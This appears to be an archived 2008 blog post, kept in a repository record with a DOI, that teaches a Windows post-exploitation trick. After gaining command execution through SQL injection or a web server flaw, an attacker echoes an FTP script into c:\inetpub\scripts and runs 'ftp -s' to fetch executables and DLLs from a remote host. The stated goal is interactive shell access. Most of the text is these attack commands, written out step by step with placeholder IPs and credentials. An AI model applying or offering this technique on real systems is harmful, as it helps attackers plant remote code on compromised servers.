Fetching files via echo, FTP in a non interactive shell environment
Once you have basic, non-interactive shell access to a Windows box, there are a limited number of ways in which you can transfer files to the remote host. This brief article will explicate the echo/ftp method.
If you can execute, be it by SQL Injection, or a webserver vulnerability the echo command, then you can write a script file which can fetch a file of your choosing from a remote host.
The sequence of commands you issue should be in the following format:
echo open [ip] [port] >> ftpscript.txt
echo [user]>> c:\inetpub\scripts\ftpscript.txt
echo [pw] >> c:\inetpub\scripts\ftpscript.txt
echo get xxx.exe >> c:\inetpub\scripts\ftpscript.txt
echo get xxx.txt >> c:\inetpub\scripts\ftpscript.txt
echo get xxx.dll >> c:\inetpub\scripts\ftpscript.txt
echo quit >> c:\inetpub\scripts\ftpscript.txtThis will create a file at c:\inetpub\scripts\ftpscript.txt that looks like this:
open [ip] [port]
[user]
[pw]
get xxx.exe
get xxx.txt
get xxx.dll
quitIf you then execute ftp -s:c:\inetpub\scripts\ftpscript.txt, your files will be fetched from the remote FTP server and you can hopefully secure some form of interactive shell access.
Fetching files via echo, FTP in a non interactive shell environment was originally published by Martin Paul Eve at eve.gd: Martin Paul Eve on December 07, 2008.
Files
10.59348_rb4hr-3h831.pdf
Files
(108.7 kB)
| Name | Size | Download all |
|---|---|---|
|
md5:bfdc370e65e7cba1f459d9bd732b0b19
|
108.7 kB | Preview Download |
Additional details
Description
Identifiers
- GUID
- https://doi.org/10.59348/rb4hr-3h831
- URL
- https://eve.gd/2008/12/07/fetching-files-via-echo-ftp-in-a-non-interactive-shell-environment/
Dates
- Issued
-
2008-12-07T00:00:00Z
- Updated
-
2008-12-07T05:30:55Z